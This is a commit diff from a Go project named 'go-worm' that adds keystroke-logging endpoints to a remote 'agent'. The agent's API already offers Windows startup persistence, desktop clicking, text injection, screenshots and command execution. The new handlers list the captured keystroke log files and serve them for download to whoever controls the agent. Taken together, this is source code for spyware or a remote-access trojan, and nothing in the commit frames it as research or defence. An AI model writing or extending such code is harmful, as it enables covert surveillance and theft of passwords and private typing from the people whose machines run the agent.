Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
@@ -48,6 +49,8 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
||||
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -324,3 +327,61 @@ func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, result)
|
||||
}
|
||||
|
||||
func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
files, err := keylog.List()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("keylog list: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs")
|
||||
return
|
||||
}
|
||||
dir, err := keylog.Dir()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("keylog dir: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory")
|
||||
return
|
||||
}
|
||||
if files == nil {
|
||||
files = []keylog.FileInfo{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files})
|
||||
}
|
||||
|
||||
func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
name := r.URL.Query().Get("file")
|
||||
if name == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
if !keylog.ValidLogFilename(name) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||
return
|
||||
}
|
||||
file, info, err := keylog.Open(name)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
helpers.WriteError(w, http.StatusNotFound, "log file not found")
|
||||
return
|
||||
}
|
||||
if errors.Is(err, os.ErrInvalid) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("keylog download: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not open log file")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
||||
w.Header().Set("Accept-Ranges", "bytes")
|
||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user